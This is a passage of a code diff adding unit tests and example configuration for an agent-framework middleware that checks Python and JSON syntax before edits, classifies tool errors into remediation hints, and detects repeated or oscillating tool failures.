+        assert sig2.category == "COMMAND_NOT_FOUND"
+        assert sig2.entity == "ripgrep"
+
+    def test_file_not_found(self):
+        err_py = "FileNotFoundError: [Errno 2] No such file or directory: 'configs/model.yaml'"
+        sig1 = classify_tool_error(err_py)
+        assert sig1 is not None
+        assert sig1.category == "FILE_NOT_FOUND"
+        assert sig1.entity == "configs/model.yaml"
+
+        err_sh = "cat: missing_data.csv: No such file or directory"
+        sig2 = classify_tool_error(err_sh)
+        assert sig2 is not None
+        assert sig2.category == "FILE_NOT_FOUND"
+        assert sig2.entity == "missing_data.csv"
+
+    def test_syntax_error(self):
+        err = 'SyntaxError: invalid syntax  File "app.py", line 42'
+        sig = classify_tool_error(err)
+        assert sig is not None
+        assert sig.category == "SYNTAX_ERROR"
+        assert sig.entity == "42"
+
+    def test_permission_denied(self):
+        err = "PermissionError: [Errno 13] Permission denied: '/var/run/docker.sock'"
+        sig = classify_tool_error(err)
+        assert sig is not None
+        assert sig.category == "PERMISSION_DENIED"
+        assert sig.entity == "/var/run/docker.sock"
+
+    def test_port_in_use(self):
+        err = "OSError: [Errno 98] Address already in use"
+        sig = classify_tool_error(err)
+        assert sig is not None
+        assert sig.category == "PORT_IN_USE"
+
+    def test_normal_output_returns_none(self):
+        output = "Process completed successfully. Rows processed: 1000."
+        assert classify_tool_error(output) is None
+
+
+class TestSyntaxVerification:
+    def test_valid_python(self):
+        code = "def hello():\n    return 42\n"
+        assert verify_content_syntax("script.py", code) is None
+
+    def test_invalid_python(self):
+        bad_code = "def hello(\nreturn 42\n"
+        err = verify_content_syntax("script.py", bad_code)
+        assert err is not None
+        assert "syntax error" in err.lower()
+
+    def test_valid_json(self):
+        content = '{"name": "test", "count": 10}'
+        assert verify_content_syntax("data.json", content) is None
+
+    def test_invalid_json(self):
+        content = '{"name": "test", trailing}'
+        err = verify_content_syntax("data.json", content)
+        assert err is not None
+        assert "JSON" in err
+
+    def test_syntax_with_null_bytes(self):
+        err = verify_content_syntax("evil.py", "print('hello')\x00")
+        assert err is not None
+        assert "error" in err.lower()
+
+    def test_untracked_extension(self):
+        content = "arbitrary text content"
+        assert verify_content_syntax("notes.txt", content) is None
+
+
+class TestHarnessGuardMiddleware:
+    def test_write_file_not_syntax_gated_to_preserve_chunking(self):
+        """write_file is never syntax-gated to preserve native append and multi-chunk write flows."""
+        middleware = HarnessGuardMiddleware(HarnessGuardConfig(block_on_syntax_error=True))
+        # Incomplete or invalid syntax in write_file must pass straight to the handler
+        req_py = _make_request("write_file", {"path": "main.py", "content": "def incomplete(:"})
+        req_json = _make_request("write_file", {"path": "data.json", "content": "{broken json"})
+
+        def dummy_handler(r):
+            return ToolMessage(content="File written", tool_call_id=r.tool_call["id"], name="write_file")
+
+        res_py = middleware.wrap_tool_call(req_py, dummy_handler)
+        assert res_py.content == "File written"
+        assert res_py.status != "error"
+
+        res_json = middleware.wrap_tool_call(req_json, dummy_handler)
+        assert res_json.content == "File written"
+        assert res_json.status != "error"
+
+    def test_str_replace_skips_when_write_verify_syntax_false_by_default(self):
+        """When write_verify_syntax is default (False), syntax verification is skipped."""
+        middleware = HarnessGuardMiddleware(HarnessGuardConfig())
+        req = _make_request(
+            "str_replace",
+            {"path": "module.py", "old_str": "return 42", "new_str": "return ("},
+        )
+
+        def dummy_handler(r):
+            return ToolMessage(content="Replaced", tool_call_id=r.tool_call["id"], name="str_replace")
+
+        with patch(
+            "deerflow.agents.middlewares.harness_guard_middleware.read_current_file_content",
+            return_value="def foo():\n    return 42\n",
+        ):
+            res = middleware.wrap_tool_call(req, dummy_handler)
+        assert res.content == "Replaced"
+        assert res.status != "error"
+
+    def test_str_replace_skips_when_block_on_syntax_error_false(self):
+        """When block_on_syntax_error is False, pre-execution verification is skipped without blocking."""
+        middleware = HarnessGuardMiddleware(HarnessGuardConfig(write_verify_syntax=True, block_on_syntax_error=False))
+        req = _make_request(
+            "str_replace",
+            {"path": "module.py", "old_str": "return 42", "new_str": "return ("},
+        )
+
+        def dummy_handler(r):
+            return ToolMessage(content="Replaced", tool_call_id=r.tool_call["id"], name="str_replace")
+
+        with patch(
+            "deerflow.agents.middlewares.harness_guard_middleware.read_current_file_content",
+            return_value="def foo():\n    return 42\n",
+        ):
+            res = middleware.wrap_tool_call(req, dummy_handler)
+        assert res.content == "Replaced"
+        assert res.status != "error"
+
+    def test_str_replace_syntax_validation(self):
+        """str_replace on .py that introduces broken syntax is blocked."""
+        middleware = HarnessGuardMiddleware(HarnessGuardConfig(write_verify_syntax=True, block_on_syntax_error=True))
+        req = _make_request(
+            "str_replace",
+            {"path": "module.py", "old_str": "return 42", "new_str": "return ("},
+        )
+
+        def dummy_handler(r):
+            return ToolMessage(content="Replaced", tool_call_id=r.tool_call["id"], name="str_replace")
+
+        with patch(
+            "deerflow.agents.middlewares.harness_guard_middleware.read_current_file_content",
+            return_value="def foo():\n    return 42\n",
+        ):
+            res = middleware.wrap_tool_call(req, dummy_handler)
+
+        assert isinstance(res, ToolMessage)
+        assert res.status == "error"
+        assert "WRITE BLOCKED" in res.content
+        assert TOOL_META_KEY in res.additional_kwargs
+
+    def test_str_replace_json_syntax_validation(self):
+        """str_replace on .json that introduces broken syntax is blocked."""
+        middleware = HarnessGuardMiddleware(HarnessGuardConfig(write_verify_syntax=True, block_on_syntax_error=True))
+        req = _make_request(
+            "str_replace",
+            {"path": "config.json", "old_str": '"port": 80', "new_str": '"port": '},
+        )
+
+        def dummy_handler(r):
+            return ToolMessage(content="Replaced", tool_call_id=r.tool_call["id"], name="str_replace")
+
+        with patch(
+            "deerflow.agents.middlewares.harness_guard_middleware.read_current_file_content",
+            return_value='{\n  "port": 80\n}\n',
+        ):
+            res = middleware.wrap_tool_call(req, dummy_handler)
+
+        assert isinstance(res, ToolMessage)
+        assert res.status == "error"
+        assert "WRITE BLOCKED" in res.content
+        assert "Invalid JSON" in res.content
+
+    def test_str_replace_valid_passes(self):
+        """str_replace on .py that produces valid syntax passes cleanly."""
+        middleware = HarnessGuardMiddleware(HarnessGuardConfig(write_verify_syntax=True, block_on_syntax_error=True))
+        req = _make_request(
+            "str_replace",
+            {"path": "module.py", "old_str": "return 42", "new_str": "return 100"},
+        )
+
+        def dummy_handler(r):
+            return ToolMessage(content="Replaced successfully", tool_call_id=r.tool_call["id"], name="str_replace")
+
+        with patch(
+            "deerflow.agents.middlewares.harness_guard_middleware.read_current_file_content",
+            return_value="def foo():\n    return 42\n",
+        ):
+            res = middleware.wrap_tool_call(req, dummy_handler)
+
+        assert res.status != "error"
+        assert res.content == "Replaced successfully"
+
+    def test_str_replace_crlf_normalization_repro(self):
+        """CRLF file with LF old_str must be normalized before matching so syntax errors are not bypassed."""
+        middleware = HarnessGuardMiddleware(HarnessGuardConfig(write_verify_syntax=True, block_on_syntax_error=True))
+        crlf_file = "def foo():\r\n    return 42\r\n"
+        req = _make_request(
+            "str_replace",
+            {"path": "module.py", "old_str": "    return 42\n", "new_str": "    return (\n"},
+        )
+
+        def dummy_handler(r):
+            return ToolMessage(content="Replaced", tool_call_id=r.tool_call["id"], name="str_replace")
+
+        with patch(
+            "deerflow.agents.middlewares.harness_guard_middleware.read_current_file_content",
+            return_value=crlf_file,
+        ):
+            res = middleware.wrap_tool_call(req, dummy_handler)
+
+        assert isinstance(res, ToolMessage)
+        assert res.status == "error"
+        assert "WRITE BLOCKED" in res.content
+
+    def test_file_backed_progressive_repair_python(self, tmp_path):
+        """Start with two Python syntax errors (missing colons).
+        The first edit must reach disk while the other error remains;
+        after the second edit, the file must parse cleanly.
+        """
+        py_file = tmp_path / "calc.py"
+        initial_content = "def add(a, b)\n    return a + b\n\ndef sub(a, b)\n    return a - b\n"
+        py_file.write_text(initial_content, encoding="utf-8")
+
+        middleware = HarnessGuardMiddleware(HarnessGuardConfig(write_verify_syntax=True, block_on_syntax_error=True))
+
+        def file_handler(req: ToolCallRequest):
+            args = req.tool_call["args"]
+            content = py_file.read_text(encoding="utf-8")
+            old_str = args["old_str"]
+            new_str = args["new_str"]
+            assert old_str in content
+            py_file.write_text(content.replace(old_str, new_str, 1), encoding="utf-8")
+            return ToolMessage(content="Replaced successfully", tool_call_id=req.tool_call["id"], name="str_replace")
+
+        with patch(
+            "deerflow.agents.middlewares.harness_guard_middleware.read_current_file_content",
+            side_effect=lambda runtime, path: py_file.read_text(encoding="utf-8"),
+        ):
+            # Edit 1: Fix first function header. File still has syntax error in second function.
+            req1 = _make_request(
+                "str_replace",
+                {"path": str(py_file), "old_str": "def add(a, b)\n", "new_str": "def add(a, b):\n"},
+            )
+            res1 = middleware.wrap_tool_call(req1, file_handler)
+            assert res1.status != "error"
+            assert res1.content == "Replaced successfully"
+
+            content_after_1 = py_file.read_text(encoding="utf-8")
+            assert "def add(a, b):" in content_after_1
+            assert "def sub(a, b)\n" in content_after_1
+            assert verify_content_syntax("calc.py", content_after_1) is not None
+
+            # Edit 2: Fix second function header.
+            req2 = _make_request(
+                "str_replace",
+                {"path": str(py_file), "old_str": "def sub(a, b)\n", "new_str": "def sub(a, b):\n"},
+            )
+            res2 = middleware.wrap_tool_call(req2, file_handler)
+            assert res2.status != "error"
+            assert res2.content == "Replaced successfully"
+
+            content_after_2 = py_file.read_text(encoding="utf-8")
+            assert "def sub(a, b):" in content_after_2
+            assert verify_content_syntax("calc.py", content_after_2) is None
+
+            # Edit 3 (Negative test): Now that file is valid, introducing broken syntax is blocked!
+            req3 = _make_request(
+                "str_replace",
+                {"path": str(py_file), "old_str": "return a + b", "new_str": "return a + ("},
+            )
+            res3 = middleware.wrap_tool_call(req3, file_handler)
+            assert isinstance(res3, ToolMessage)
+            assert res3.status == "error"
+            assert "WRITE BLOCKED" in res3.content
+            assert py_file.read_text(encoding="utf-8") == content_after_2
+
+    def test_file_backed_progressive_repair_json(self, tmp_path):
+        """Start with two JSON syntax errors.
+        The first edit must reach disk while the other error remains;
+        after the second edit, the file must parse cleanly.
+        """
+        json_file = tmp_path / "data.json"
+        initial_content = '{\n  "first": ,\n  "second": \n}\n'
+        json_file.write_text(initial_content, encoding="utf-8")
+
+        middleware = HarnessGuardMiddleware(HarnessGuardConfig(write_verify_syntax=True, block_on_syntax_error=True))
+
+        def file_handler(req: ToolCallRequest):
+            args = req.tool_call["args"]
+            content = json_file.read_text(encoding="utf-8")
+            old_str = args["old_str"]
+            new_str = args["new_str"]
+            assert old_str in content
+            json_file.write_text(content.replace(old_str, new_str, 1), encoding="utf-8")
+            return ToolMessage(content="Replaced successfully", tool_call_id=req.tool_call["id"], name="str_replace")
+
+        with patch(
+            "deerflow.agents.middlewares.harness_guard_middleware.read_current_file_content",
+            side_effect=lambda runtime, path: json_file.read_text(encoding="utf-8"),
+        ):
+            # Edit 1: Fix first key
+            req1 = _make_request(
+                "str_replace",
+                {"path": str(json_file), "old_str": '"first": ,', "new_str": '"first": 1,'},
+            )
+            res1 = middleware.wrap_tool_call(req1, file_handler)
+            assert res1.status != "error"
+
+            content_after_1 = json_file.read_text(encoding="utf-8")
+            assert '"first": 1,' in content_after_1
+            assert verify_content_syntax("data.json", content_after_1) is not None
+
+            # Edit 2: Fix second key
+            req2 = _make_request(
+                "str_replace",
+                {"path": str(json_file), "old_str": '"second": ', "new_str": '"second": 2'},
+            )
+            res2 = middleware.wrap_tool_call(req2, file_handler)
+            assert res2.status != "error"
+
+            content_after_2 = json_file.read_text(encoding="utf-8")
+            assert verify_content_syntax("data.json", content_after_2) is None
+
+            # Edit 3 (Negative test): Now that JSON is valid, introducing broken syntax is blocked!
+            req3 = _make_request(
+                "str_replace",
+                {"path": str(json_file), "old_str": '"first": 1', "new_str": '"first": '},
+            )
+            res3 = middleware.wrap_tool_call(req3, file_handler)
+            assert isinstance(res3, ToolMessage)
+            assert res3.status == "error"
+            assert "WRITE BLOCKED" in res3.content
+            assert json_file.read_text(encoding="utf-8") == content_after_2
+
+    def test_successful_tool_call_with_error_text_not_misclassified(self):
+        """Successful tool call (e.g. read_file of troubleshooting guide) must not be treated as failure."""
+        middleware = HarnessGuardMiddleware(HarnessGuardConfig(targeted_hints_enabled=True))
+        req = _make_request("read_file", {"path": "troubleshooting.md"})
+        doc_content = "Example error:\nModuleNotFoundError: No module named 'numpy'\nFix with pip install numpy"
+
+        def dummy_handler(r):
+            return ToolMessage(
+                content=doc_content,
+                tool_call_id=r.tool_call["id"],
+                name="read_file",
+                status="success",
+                additional_kwargs={"deerflow_tool_meta": {"status": "success"}},
+            )
+
+        res1 = middleware.wrap_tool_call(req, dummy_handler)
+        assert "[HARNESS GUARD]" not in res1.content
+        assert res1.status == "success"
+
+        res2 = middleware.wrap_tool_call(req, dummy_handler)
+        assert "CRITICAL REPETITION" not in res2.content
+        assert res2.status == "success"
+
+    def test_multimodal_list_content_preserved(self):
+        """When ToolMessage content is a list of blocks, hints are appended as text blocks rather than stringifying."""
+        middleware = HarnessGuardMiddleware(HarnessGuardConfig())
+        req = _make_request("bash", {"command": "fetch_plot.sh"})
+
+        image_block = {"type": "image_url", "image_url": {"url": "data:image/png;base64,iVBORw0KGgo"}}
+        text_block = {"type": "text", "text": "Traceback:\nModuleNotFoundError: No module named 'matplotlib'"}
+
+        def handler(r):
+            return ToolMessage(
+                content=[text_block, image_block],
+                tool_call_id=r.tool_call["id"],
+                name="bash",
+                status="error",
+            )
+
+        res = middleware.wrap_tool_call(req, handler)
+        assert isinstance(res.content, list)
+        assert len(res.content) == 3
+        assert res.content[0] == text_block
+        assert res.content[1] == image_block
+        assert res.content[2]["type"] == "text"
+        assert "[HARNESS GUARD]" in res.content[2]["text"]
+        assert "pip install matplotlib" in res.content[2]["text"]
+
+    def test_cross_thread_isolation_no_poisoning(self):
+        """Context-less requests from different runtimes do not share history deque."""
+        middleware = HarnessGuardMiddleware(HarnessGuardConfig(max_repeated_error_signatures=2))
+
+        # Runtime A experiences an error
+        req_a = _make_request("bash", {"command": "cmd_a"}, thread_id=None, run_id=None)
+        res_a = middleware.wrap_tool_call(
+            req_a,
+            lambda r: ToolMessage(
+                content="ModuleNotFoundError: No module named 'isolated_pkg'",
+                tool_call_id=r.tool_call["id"],
+                name="bash",
+                status="error",
+            ),
+        )
+        assert "CRITICAL REPETITION" not in res_a.content
+
+        # Runtime B experiences the same error in its first call
+        req_b = _make_request("bash", {"command": "cmd_b"}, thread_id=None, run_id=None)
+        res_b = middleware.wrap_tool_call(
+            req_b,
+            lambda r: ToolMessage(
+                content="ModuleNotFoundError: No module named 'isolated_pkg'",
+                tool_call_id=r.tool_call["id"],
+                name="bash",
+                status="error",
+            ),
+        )
+        # Because Runtime A and Runtime B are distinct, B must NOT see A's history
+        assert "CRITICAL REPETITION" not in res_b.content
+
+    def test_targeted_hint_injection_on_error(self):
+        middleware = HarnessGuardMiddleware(HarnessGuardConfig())
+        req = _make_request("bash", {"command": "python test.py"})
+
+        def error_handler(r):
+            return ToolMessage(
+                content="Traceback (most recent call last):\nModuleNotFoundError: No module named 'pandas'",
+                tool_call_id=r.tool_call["id"],
+                name="bash",
+                status="error",
+            )
+
+        res = middleware.wrap_tool_call(req, error_handler)
+        assert "[HARNESS GUARD]" in res.content
+        assert "pip install pandas" in res.content
+        assert HARNESS_GUARD_KEY in res.additional_kwargs
+        assert res.additional_kwargs[HARNESS_GUARD_KEY]["error_signature"] == "MODULE_NOT_FOUND:pandas"
+
+    def test_consecutive_repetition_warning(self):
+        middleware = HarnessGuardMiddleware(HarnessGuardConfig(max_repeated_error_signatures=2))
+        req = _make_request("bash", {"command": "python script.py"})
+
+        def error_handler(r):
+            return ToolMessage(
+                content="ModuleNotFoundError: No module named 'fastapi'",
+                tool_call_id=r.tool_call["id"],
+                name="bash",
+                status="error",
+            )
+
+        # Call 1: Normal targeted hint
+        res1 = middleware.wrap_tool_call(req, error_handler)
+        assert "CRITICAL REPETITION" not in res1.content
+
+        # Call 2: Consecutive identical error signature -> Triggers CRITICAL REPETITION warning
+        res2 = middleware.wrap_tool_call(req, error_handler)
+        assert "CRITICAL REPETITION" in res2.content
+        assert "has occurred 2 times consecutively" in res2.content
+
+    def test_alternating_oscillation_detection(self):
+        middleware = HarnessGuardMiddleware(HarnessGuardConfig(detect_alternating_loops=True))
+
+        # Simulate A -> B -> A -> B loop where both tools fail
+        req_a1 = _make_request("bash", {"command": "cat output.txt"}, thread_id="t-osc", run_id="r-osc")
+        _ = middleware.wrap_tool_call(
+            req_a1,
+            lambda r: ToolMessage(
+                content="cat: output.txt: No such file or directory",
+                tool_call_id=r.tool_call["id"],
+                name="bash",
+                status="error",
+            ),
+        )
+
+        req_b1 = _make_request("read_file", {"path": "output.txt"}, thread_id="t-osc", run_id="r-osc")
+        _ = middleware.wrap_tool_call(
+            req_b1,
+            lambda r: ToolMessage(
+                content="FileNotFoundError: [Errno 2] No such file or directory: 'output.txt'",
+                tool_call_id=r.tool_call["id"],
+                name="read_file",
+                status="error",
+            ),
+        )
+
+        req_a2 = _make_request("bash", {"command": "cat ./output.txt"}, thread_id="t-osc", run_id="r-osc")
+        _ = middleware.wrap_tool_call(
+            req_a2,
+            lambda r: ToolMessage(
+                content="cat: ./output.txt: No such file or directory",
+                tool_call_id=r.tool_call["id"],
+                name="bash",
+                status="error",
+            ),
+        )
+
+        req_b2 = _make_request("read_file", {"path": "./output.txt"}, thread_id="t-osc", run_id="r-osc")
+        res_b2 = middleware.wrap_tool_call(
+            req_b2,
+            lambda r: ToolMessage(
+                content="FileNotFoundError: [Errno 2] No such file or directory: './output.txt'",
+                tool_call_id=r.tool_call["id"],
+                name="read_file",
+                status="error",
+            ),
+        )
+
+        assert "OSCILLATION DETECTED" in res_b2.content
+        assert "between 'bash' and 'read_file'" in res_b2.content
+
+    @pytest.mark.asyncio
+    async def test_async_awrap_tool_call(self):
+        middleware = HarnessGuardMiddleware(HarnessGuardConfig())
+        req = _make_request("bash", {"command": "run_bad.sh"})
+
+        async def async_handler(r):
+            return ToolMessage(
+                content="bash: run_bad.sh: command not found",
+                tool_call_id=r.tool_call["id"],
+                name="bash",
+                status="error",
+            )
+
+        res = await middleware.awrap_tool_call(req, async_handler)
+        assert "[HARNESS GUARD]" in res.content
+        assert "Command 'run_bad.sh' was not found" in res.content
+
+    def test_command_result_processing(self):
+        from langgraph.types import Command
+
+        middleware = HarnessGuardMiddleware(HarnessGuardConfig())
+        req = _make_request("subagent_task", {"subtask": "fetch data"}, tool_call_id="call-sub")
+
+        inner_msg = ToolMessage(
+            content="ModuleNotFoundError: No module named 'polars'",
+            tool_call_id="call-sub",
+            name="subagent_task",
+            status="error",
+        )
+        cmd = Command(update={"messages": [inner_msg]})
+
+        res = middleware.wrap_tool_call(req, lambda r: cmd)
+        assert isinstance(res, Command)
+        assert "[HARNESS GUARD]" in inner_msg.content
+        assert "pip install polars" in inner_msg.content
+
+    def test_huge_output_error_classification(self):
+        middleware = HarnessGuardMiddleware(HarnessGuardConfig())
+        req = _make_request("bash", {"command": "big_log.sh"})
+
+        huge_content = "Normal log line\n" * 5000 + "ModuleNotFoundError: No module named 'torch_geometric'"
+        res = middleware.wrap_tool_call(
+            req,
+            lambda r: ToolMessage(content=huge_content, tool_call_id=r.tool_call["id"], name="bash", status="error"),
+        )
+        assert "[HARNESS GUARD]" in res.content
+        assert "pip install torch_geometric" in res.content

backend/tests/test_tool_error_handling_middleware.py

@@ -201,6 +201,7 @@ def test_build_subagent_runtime_middlewares_threads_app_config_to_llm_middleware
             "deerflow.agents.middlewares.input_sanitization_middleware",
             InputSanitizationMiddleware=FakeInputSanitizationMiddleware,
             neutralize_untrusted_tags=lambda value: value,
+            frame_untrusted_text=lambda value: value,
         ),
     )
 
@@ -222,6 +223,7 @@ def test_build_subagent_runtime_middlewares_threads_app_config_to_llm_middleware
     # (tool_artifacts enabled by default, #4676).
     # + 1 ModelContentCompatibilityMiddleware (unconditional read-time
     # sanitizer between DurableContext and the date/coalescer tail).
+    # + 1 HarnessGuardMiddleware (enabled by default).
     from deerflow.agents.middlewares.durable_context_middleware import DurableContextMiddleware
     from deerflow.agents.middlewares.dynamic_context_middleware import SubagentDateContextMiddleware
     from deerflow.agents.middlewares.knowledge_scope_middleware import KnowledgeScopeMiddleware
@@ -232,7 +234,7 @@ def test_build_subagent_runtime_middlewares_threads_app_config_to_llm_middleware
     from deerflow.agents.middlewares.tool_output_budget_middleware import ToolOutputBudgetMiddleware
     from deerflow.agents.middlewares.tool_receipt_middleware import ToolReceiptMiddleware
 
-    assert len(middlewares) == 23
+    assert len(middlewares) == 24
     assert isinstance(middlewares[0], FakeMiddleware)  # InputSanitizationMiddleware stub
     assert isinstance(middlewares[1], KnowledgeScopeMiddleware)
     assert isinstance(middlewares[2], ToolOutputBudgetMiddleware)

config.example.yaml

@@ -1595,6 +1595,22 @@ read_before_write:
   # 0 elides every non-empty payload.
   elide_min_chars: 2000
 
+# Optional pre-write syntax validation and targeted error remediation guard.
+# When enabled (write_verify_syntax: true), intercepts str_replace to validate
+# spliced .py (ast.parse) and .json (json.loads) syntax before disk I/O.
+# Also classifies tool error outputs (ModuleNotFoundError, SyntaxError,
+# FileNotFoundError, etc.) and injects actionable remediation hints directly into
+# tool results.
+harness_guard:
+  enabled: true
+  write_verify_syntax: false
+  block_on_syntax_error: true
+  targeted_hints_enabled: true
+  max_repeated_error_signatures: 2
+  detect_alternating_loops: true
+  max_loop_history: 20
+  max_tracked_scopes: 1000
+
 # ============================================================================
 # Projects
 # ============================================================================